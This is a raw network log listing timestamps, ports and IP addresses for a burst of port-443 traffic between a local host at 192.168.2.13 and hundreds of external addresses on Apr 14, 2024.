Apr 14, 2024 03:59:49.698621035 CEST	443	1607	109.127.65.145	192.168.2.13
Apr 14, 2024 03:59:49.698625088 CEST	1607	443	192.168.2.13	109.118.200.227
Apr 14, 2024 03:59:49.698632956 CEST	443	1607	79.102.161.153	192.168.2.13
Apr 14, 2024 03:59:49.698640108 CEST	443	1607	109.118.200.227	192.168.2.13
Apr 14, 2024 03:59:49.698642015 CEST	1607	443	192.168.2.13	117.110.208.173
Apr 14, 2024 03:59:49.698642015 CEST	1607	443	192.168.2.13	2.39.40.97
Apr 14, 2024 03:59:49.698642015 CEST	1607	443	192.168.2.13	79.158.212.29
Apr 14, 2024 03:59:49.698642015 CEST	1607	443	192.168.2.13	37.89.86.162
Apr 14, 2024 03:59:49.698652983 CEST	443	1607	117.110.208.173	192.168.2.13
Apr 14, 2024 03:59:49.698657990 CEST	1607	443	192.168.2.13	5.228.95.90
Apr 14, 2024 03:59:49.698657990 CEST	443	1607	2.39.40.97	192.168.2.13
Apr 14, 2024 03:59:49.698664904 CEST	443	1607	79.158.212.29	192.168.2.13
Apr 14, 2024 03:59:49.698671103 CEST	1607	443	192.168.2.13	109.127.65.145
Apr 14, 2024 03:59:49.698671103 CEST	1607	443	192.168.2.13	79.102.161.153
Apr 14, 2024 03:59:49.698681116 CEST	1607	443	192.168.2.13	42.7.52.127
Apr 14, 2024 03:59:49.698689938 CEST	1607	443	192.168.2.13	109.162.222.40
Apr 14, 2024 03:59:49.698690891 CEST	443	1607	42.7.52.127	192.168.2.13
Apr 14, 2024 03:59:49.698689938 CEST	1607	443	192.168.2.13	109.118.200.227
Apr 14, 2024 03:59:49.698693991 CEST	1607	443	192.168.2.13	42.206.120.51
Apr 14, 2024 03:59:49.698697090 CEST	1607	443	192.168.2.13	117.12.79.141
Apr 14, 2024 03:59:49.698697090 CEST	1607	443	192.168.2.13	123.142.209.206
Apr 14, 2024 03:59:49.698702097 CEST	1607	443	192.168.2.13	117.110.208.173
Apr 14, 2024 03:59:49.698702097 CEST	1607	443	192.168.2.13	79.158.212.29
Apr 14, 2024 03:59:49.698704958 CEST	1607	443	192.168.2.13	118.207.207.166
Apr 14, 2024 03:59:49.698705912 CEST	443	1607	42.206.120.51	192.168.2.13
Apr 14, 2024 03:59:49.698707104 CEST	443	1607	117.12.79.141	192.168.2.13
Apr 14, 2024 03:59:49.698710918 CEST	443	1607	109.162.222.40	192.168.2.13
Apr 14, 2024 03:59:49.698712111 CEST	443	1607	123.142.209.206	192.168.2.13
Apr 14, 2024 03:59:49.698715925 CEST	443	1607	118.207.207.166	192.168.2.13
Apr 14, 2024 03:59:49.698717117 CEST	1607	443	192.168.2.13	2.39.40.97
Apr 14, 2024 03:59:49.698724985 CEST	1607	443	192.168.2.13	148.141.228.157
Apr 14, 2024 03:59:49.698724985 CEST	1607	443	192.168.2.13	42.7.52.127
Apr 14, 2024 03:59:49.698730946 CEST	1607	443	192.168.2.13	148.112.209.147
Apr 14, 2024 03:59:49.698730946 CEST	1607	443	192.168.2.13	123.87.138.247
Apr 14, 2024 03:59:49.698735952 CEST	443	1607	148.141.228.157	192.168.2.13
Apr 14, 2024 03:59:49.698740005 CEST	443	1607	148.112.209.147	192.168.2.13
Apr 14, 2024 03:59:49.698740005 CEST	1607	443	192.168.2.13	148.13.11.74
Apr 14, 2024 03:59:49.698741913 CEST	1607	443	192.168.2.13	42.206.120.51
Apr 14, 2024 03:59:49.698746920 CEST	1607	443	192.168.2.13	118.207.207.166
Apr 14, 2024 03:59:49.698748112 CEST	1607	443	192.168.2.13	117.12.79.141
Apr 14, 2024 03:59:49.698748112 CEST	1607	443	192.168.2.13	123.142.209.206
Apr 14, 2024 03:59:49.698751926 CEST	443	1607	123.87.138.247	192.168.2.13
Apr 14, 2024 03:59:49.698751926 CEST	443	1607	148.13.11.74	192.168.2.13
Apr 14, 2024 03:59:49.698756933 CEST	1607	443	192.168.2.13	109.162.222.40
Apr 14, 2024 03:59:49.698765993 CEST	1607	443	192.168.2.13	148.141.228.157
Apr 14, 2024 03:59:49.698772907 CEST	1607	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.698781013 CEST	1607	443	192.168.2.13	148.112.209.147
Apr 14, 2024 03:59:49.698781013 CEST	1607	443	192.168.2.13	148.103.236.42
Apr 14, 2024 03:59:49.698781013 CEST	1607	443	192.168.2.13	123.87.138.247
Apr 14, 2024 03:59:49.698785067 CEST	443	1607	42.191.173.80	192.168.2.13
Apr 14, 2024 03:59:49.698791981 CEST	443	1607	148.103.236.42	192.168.2.13
Apr 14, 2024 03:59:49.698791981 CEST	1607	443	192.168.2.13	148.13.11.74
Apr 14, 2024 03:59:49.698802948 CEST	1607	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.698810101 CEST	1607	443	192.168.2.13	118.206.250.42
Apr 14, 2024 03:59:49.698810101 CEST	1607	443	192.168.2.13	5.242.138.245
Apr 14, 2024 03:59:49.698815107 CEST	443	1607	118.94.26.153	192.168.2.13
Apr 14, 2024 03:59:49.698821068 CEST	443	1607	118.206.250.42	192.168.2.13
Apr 14, 2024 03:59:49.698832035 CEST	443	1607	5.242.138.245	192.168.2.13
Apr 14, 2024 03:59:49.698837996 CEST	1607	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.698844910 CEST	47498	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.698844910 CEST	1607	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.698853970 CEST	1607	443	192.168.2.13	148.103.236.42
Apr 14, 2024 03:59:49.698853970 CEST	46472	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.698857069 CEST	443	47498	79.214.172.0	192.168.2.13
Apr 14, 2024 03:59:49.698859930 CEST	1607	443	192.168.2.13	118.206.250.42
Apr 14, 2024 03:59:49.698859930 CEST	1607	443	192.168.2.13	5.242.138.245
Apr 14, 2024 03:59:49.698865891 CEST	443	46472	212.183.58.2	192.168.2.13
Apr 14, 2024 03:59:49.698888063 CEST	58974	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.698896885 CEST	443	58974	210.240.39.232	192.168.2.13
Apr 14, 2024 03:59:49.698899031 CEST	47498	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.698925018 CEST	45756	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.698925972 CEST	46472	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.698935032 CEST	443	45756	118.219.25.246	192.168.2.13
Apr 14, 2024 03:59:49.698970079 CEST	58974	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.698972940 CEST	45756	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.699018002 CEST	43780	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.699028015 CEST	443	43780	178.120.59.193	192.168.2.13
Apr 14, 2024 03:59:49.699042082 CEST	50478	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.699054003 CEST	443	50478	42.27.114.13	192.168.2.13
Apr 14, 2024 03:59:49.699062109 CEST	43588	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.699062109 CEST	43266	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.699063063 CEST	50728	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.699071884 CEST	41084	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.699074030 CEST	43780	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.699078083 CEST	443	43588	2.190.166.162	192.168.2.13
Apr 14, 2024 03:59:49.699080944 CEST	443	41084	212.85.242.129	192.168.2.13
Apr 14, 2024 03:59:49.699085951 CEST	50478	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.699098110 CEST	443	43266	212.134.29.110	192.168.2.13
Apr 14, 2024 03:59:49.699112892 CEST	443	50728	202.116.139.178	192.168.2.13
Apr 14, 2024 03:59:49.699117899 CEST	41084	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.699124098 CEST	43588	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.699158907 CEST	53220	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.699162006 CEST	43012	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.699162960 CEST	43266	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.699162960 CEST	50728	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.699170113 CEST	443	53220	2.81.60.160	192.168.2.13
Apr 14, 2024 03:59:49.699171066 CEST	443	43012	37.134.90.211	192.168.2.13
Apr 14, 2024 03:59:49.699193954 CEST	40540	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.699209929 CEST	443	40540	94.255.61.123	192.168.2.13
Apr 14, 2024 03:59:49.699223995 CEST	53220	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.699234962 CEST	43012	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.699251890 CEST	40540	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.699251890 CEST	45376	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.699259043 CEST	443	45376	148.207.129.131	192.168.2.13
Apr 14, 2024 03:59:49.699275017 CEST	45160	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.699284077 CEST	443	45160	109.121.242.56	192.168.2.13
Apr 14, 2024 03:59:49.699296951 CEST	45376	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.699302912 CEST	60668	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.699310064 CEST	443	60668	109.80.145.243	192.168.2.13
Apr 14, 2024 03:59:49.699316978 CEST	46870	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.699322939 CEST	45160	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.699328899 CEST	443	46870	123.235.167.195	192.168.2.13
Apr 14, 2024 03:59:49.699337959 CEST	47728	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.699347019 CEST	60668	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.699347973 CEST	443	47728	117.198.161.174	192.168.2.13
Apr 14, 2024 03:59:49.699367046 CEST	46870	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.699383974 CEST	47728	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.699384928 CEST	51956	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.699393034 CEST	443	51956	210.230.202.214	192.168.2.13
Apr 14, 2024 03:59:49.699393034 CEST	55208	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.699402094 CEST	443	55208	94.175.18.191	192.168.2.13
Apr 14, 2024 03:59:49.699414968 CEST	41320	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.699423075 CEST	443	41320	148.245.181.233	192.168.2.13
Apr 14, 2024 03:59:49.699428082 CEST	55208	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.699431896 CEST	51956	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.699444056 CEST	34916	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.699453115 CEST	443	34916	148.48.157.222	192.168.2.13
Apr 14, 2024 03:59:49.699456930 CEST	41320	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.699467897 CEST	51820	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.699467897 CEST	45170	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.699481964 CEST	443	51820	79.195.184.215	192.168.2.13
Apr 14, 2024 03:59:49.699484110 CEST	50088	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.699485064 CEST	34916	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.699493885 CEST	443	45170	5.22.208.74	192.168.2.13
Apr 14, 2024 03:59:49.699501991 CEST	443	50088	123.91.178.175	192.168.2.13
Apr 14, 2024 03:59:49.699523926 CEST	45236	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.699525118 CEST	51820	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.699532032 CEST	443	45236	148.151.123.41	192.168.2.13
Apr 14, 2024 03:59:49.699546099 CEST	50088	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.699548960 CEST	45170	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.699548960 CEST	56296	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.699553013 CEST	33006	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.699559927 CEST	443	33006	212.188.38.245	192.168.2.13
Apr 14, 2024 03:59:49.699563026 CEST	443	56296	117.116.70.90	192.168.2.13
Apr 14, 2024 03:59:49.699568033 CEST	45236	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.699568033 CEST	55450	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.699589014 CEST	443	55450	37.74.171.63	192.168.2.13
Apr 14, 2024 03:59:49.699599028 CEST	33006	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.699609995 CEST	56296	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.699757099 CEST	55450	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.699779987 CEST	37220	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.699786901 CEST	443	37220	94.173.13.11	192.168.2.13
Apr 14, 2024 03:59:49.699822903 CEST	37220	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.699826002 CEST	43516	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.699832916 CEST	443	43516	5.230.64.225	192.168.2.13
Apr 14, 2024 03:59:49.699841976 CEST	52580	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.699851036 CEST	443	52580	123.9.26.149	192.168.2.13
Apr 14, 2024 03:59:49.699879885 CEST	43516	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.699897051 CEST	52580	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.699912071 CEST	53380	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.699919939 CEST	443	53380	178.16.227.214	192.168.2.13
Apr 14, 2024 03:59:49.699940920 CEST	53564	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.699949026 CEST	443	53564	212.217.88.70	192.168.2.13
Apr 14, 2024 03:59:49.699956894 CEST	53380	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.699985981 CEST	53564	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.700006008 CEST	41914	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.700012922 CEST	443	41914	123.34.45.13	192.168.2.13
Apr 14, 2024 03:59:49.700051069 CEST	60572	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.700053930 CEST	41914	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.700058937 CEST	443	60572	94.76.173.65	192.168.2.13
Apr 14, 2024 03:59:49.700098991 CEST	60572	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.700406075 CEST	35402	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.700408936 CEST	49596	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.700413942 CEST	443	35402	123.133.74.45	192.168.2.13
Apr 14, 2024 03:59:49.700417042 CEST	443	49596	2.200.126.229	192.168.2.13
Apr 14, 2024 03:59:49.700424910 CEST	33266	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.700433016 CEST	443	33266	210.173.199.160	192.168.2.13
Apr 14, 2024 03:59:49.700448990 CEST	35402	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.700465918 CEST	33266	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.700476885 CEST	49596	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.700476885 CEST	50824	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.700481892 CEST	44688	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.700485945 CEST	443	50824	2.85.102.232	192.168.2.13
Apr 14, 2024 03:59:49.700489044 CEST	443	44688	42.8.50.181	192.168.2.13
Apr 14, 2024 03:59:49.700522900 CEST	54108	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.700522900 CEST	50824	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.700531006 CEST	44688	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.700532913 CEST	443	54108	212.108.107.114	192.168.2.13
Apr 14, 2024 03:59:49.700577021 CEST	56590	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.700583935 CEST	443	56590	212.63.52.80	192.168.2.13
Apr 14, 2024 03:59:49.700587034 CEST	33486	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.700594902 CEST	443	33486	210.14.25.67	192.168.2.13
Apr 14, 2024 03:59:49.700608015 CEST	54108	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.700611115 CEST	39976	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.700618982 CEST	443	39976	212.95.236.113	192.168.2.13
Apr 14, 2024 03:59:49.700632095 CEST	56590	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.700632095 CEST	54016	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.700648069 CEST	443	54016	210.215.122.232	192.168.2.13
Apr 14, 2024 03:59:49.700649977 CEST	33486	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.700659037 CEST	39976	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.700685978 CEST	54292	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.700685978 CEST	54016	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.700694084 CEST	443	54292	5.21.98.166	192.168.2.13
Apr 14, 2024 03:59:49.700700998 CEST	39782	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.700715065 CEST	443	39782	212.31.141.2	192.168.2.13
Apr 14, 2024 03:59:49.700733900 CEST	41690	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.700742960 CEST	443	41690	202.178.0.164	192.168.2.13
Apr 14, 2024 03:59:49.700742960 CEST	47978	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.700743914 CEST	54292	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.700742960 CEST	39782	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.700757980 CEST	443	47978	109.234.205.152	192.168.2.13
Apr 14, 2024 03:59:49.700762033 CEST	42106	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.700769901 CEST	443	42106	42.192.177.48	192.168.2.13
Apr 14, 2024 03:59:49.700778008 CEST	41690	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.700793028 CEST	47978	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.700798988 CEST	42106	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.700822115 CEST	47248	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.700829029 CEST	443	47248	42.233.250.162	192.168.2.13
Apr 14, 2024 03:59:49.700839996 CEST	51264	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.700848103 CEST	443	51264	123.80.52.51	192.168.2.13
Apr 14, 2024 03:59:49.700858116 CEST	60852	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.700865984 CEST	443	60852	148.91.176.136	192.168.2.13
Apr 14, 2024 03:59:49.700879097 CEST	47248	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.700886011 CEST	48876	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.700889111 CEST	60852	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.700900078 CEST	443	48876	202.231.225.213	192.168.2.13
Apr 14, 2024 03:59:49.700916052 CEST	41152	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.700918913 CEST	51264	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.700923920 CEST	443	41152	210.187.211.45	192.168.2.13
Apr 14, 2024 03:59:49.700938940 CEST	42434	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.700942039 CEST	48876	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.700946093 CEST	443	42434	212.113.46.186	192.168.2.13
Apr 14, 2024 03:59:49.700958967 CEST	33634	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.700967073 CEST	41152	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.700968981 CEST	443	33634	117.87.253.102	192.168.2.13
Apr 14, 2024 03:59:49.700994968 CEST	42434	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.700994968 CEST	59156	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.701015949 CEST	443	59156	109.183.31.13	192.168.2.13
Apr 14, 2024 03:59:49.701050997 CEST	59156	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.701067924 CEST	50742	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.701076984 CEST	443	50742	37.1.211.170	192.168.2.13
Apr 14, 2024 03:59:49.701077938 CEST	36970	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.701081038 CEST	33634	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.701081038 CEST	40958	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.701086044 CEST	443	36970	42.250.253.23	192.168.2.13
Apr 14, 2024 03:59:49.701096058 CEST	35566	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.701098919 CEST	443	40958	37.196.42.129	192.168.2.13
Apr 14, 2024 03:59:49.701106071 CEST	443	35566	42.122.27.181	192.168.2.13
Apr 14, 2024 03:59:49.701117992 CEST	50742	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.701122046 CEST	36970	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.701136112 CEST	35566	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.701137066 CEST	40958	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.701153994 CEST	42246	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.701164007 CEST	443	42246	148.173.98.115	192.168.2.13
Apr 14, 2024 03:59:49.701178074 CEST	54890	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.701186895 CEST	443	54890	123.225.121.89	192.168.2.13
Apr 14, 2024 03:59:49.701204062 CEST	42246	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.701220036 CEST	41378	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.701221943 CEST	59346	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.701221943 CEST	54890	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.701229095 CEST	443	41378	148.128.237.13	192.168.2.13
Apr 14, 2024 03:59:49.701234102 CEST	443	59346	123.175.9.107	192.168.2.13
Apr 14, 2024 03:59:49.701260090 CEST	37864	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.701268911 CEST	443	37864	5.195.132.245	192.168.2.13
Apr 14, 2024 03:59:49.701270103 CEST	47986	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.701271057 CEST	59346	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.701270103 CEST	41378	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.701297045 CEST	55992	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.701297998 CEST	443	47986	123.59.192.17	192.168.2.13
Apr 14, 2024 03:59:49.701304913 CEST	443	55992	94.76.201.160	192.168.2.13
Apr 14, 2024 03:59:49.701306105 CEST	37864	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.701335907 CEST	52510	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.701345921 CEST	443	52510	210.197.108.243	192.168.2.13
Apr 14, 2024 03:59:49.701354980 CEST	55992	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.701360941 CEST	47986	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.701386929 CEST	52510	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.701400042 CEST	44148	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.701407909 CEST	443	44148	178.129.77.173	192.168.2.13
Apr 14, 2024 03:59:49.701427937 CEST	34960	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.701431036 CEST	55224	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.701431036 CEST	41688	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.701436043 CEST	443	34960	5.180.102.50	192.168.2.13
Apr 14, 2024 03:59:49.701440096 CEST	443	41688	5.189.239.166	192.168.2.13
Apr 14, 2024 03:59:49.701442003 CEST	44148	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.701450109 CEST	443	55224	2.239.172.172	192.168.2.13
Apr 14, 2024 03:59:49.701455116 CEST	52178	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.701462030 CEST	443	52178	202.245.19.146	192.168.2.13
Apr 14, 2024 03:59:49.701467991 CEST	34960	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.701482058 CEST	55224	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.701487064 CEST	41688	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.701495886 CEST	36302	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.701498032 CEST	52178	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.701503038 CEST	443	36302	2.118.247.109	192.168.2.13
Apr 14, 2024 03:59:49.701515913 CEST	53556	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.701524019 CEST	443	53556	37.26.68.69	192.168.2.13
Apr 14, 2024 03:59:49.701535940 CEST	36302	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.701575041 CEST	53556	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.701575994 CEST	60586	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.701582909 CEST	443	60586	123.67.102.246	192.168.2.13
Apr 14, 2024 03:59:49.701591015 CEST	41030	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.701597929 CEST	443	41030	118.165.57.51	192.168.2.13
Apr 14, 2024 03:59:49.701607943 CEST	47728	443	192.168.2.13	148.107.227.23
Apr 14, 2024 03:59:49.701617002 CEST	443	47728	117.198.161.174	192.168.2.13
Apr 14, 2024 03:59:49.701628923 CEST	46300	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.701636076 CEST	443	46300	202.60.117.147	192.168.2.13
Apr 14, 2024 03:59:49.701639891 CEST	41030	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.701642990 CEST	60586	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.701670885 CEST	46300	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.701694965 CEST	44762	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.701703072 CEST	443	44762	42.254.35.163	192.168.2.13
Apr 14, 2024 03:59:49.701718092 CEST	45854	443	192.168.2.13	94.208.217.90
Apr 14, 2024 03:59:49.701725960 CEST	443	45854	94.208.217.90	192.168.2.13
Apr 14, 2024 03:59:49.701726913 CEST	57988	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.701733112 CEST	44762	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.701734066 CEST	443	57988	5.123.97.24	192.168.2.13
Apr 14, 2024 03:59:49.701754093 CEST	40992	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.701761961 CEST	443	40992	118.148.184.164	192.168.2.13
Apr 14, 2024 03:59:49.701772928 CEST	43490	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.701773882 CEST	57988	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.701782942 CEST	443	43490	212.211.230.40	192.168.2.13
Apr 14, 2024 03:59:49.701786995 CEST	33996	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.701790094 CEST	45854	443	192.168.2.13	94.208.217.90
Apr 14, 2024 03:59:49.701793909 CEST	443	33996	37.173.163.192	192.168.2.13
Apr 14, 2024 03:59:49.701802015 CEST	40992	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.701812029 CEST	43490	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.701837063 CEST	33996	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.701839924 CEST	33366	443	192.168.2.13	178.104.147.95
Apr 14, 2024 03:59:49.701847076 CEST	443	33366	178.104.147.95	192.168.2.13
Apr 14, 2024 03:59:49.701854944 CEST	60196	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.701862097 CEST	443	60196	123.178.211.32	192.168.2.13
Apr 14, 2024 03:59:49.701877117 CEST	50306	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.701884031 CEST	443	50306	42.175.88.0	192.168.2.13
Apr 14, 2024 03:59:49.701885939 CEST	33366	443	192.168.2.13	178.104.147.95
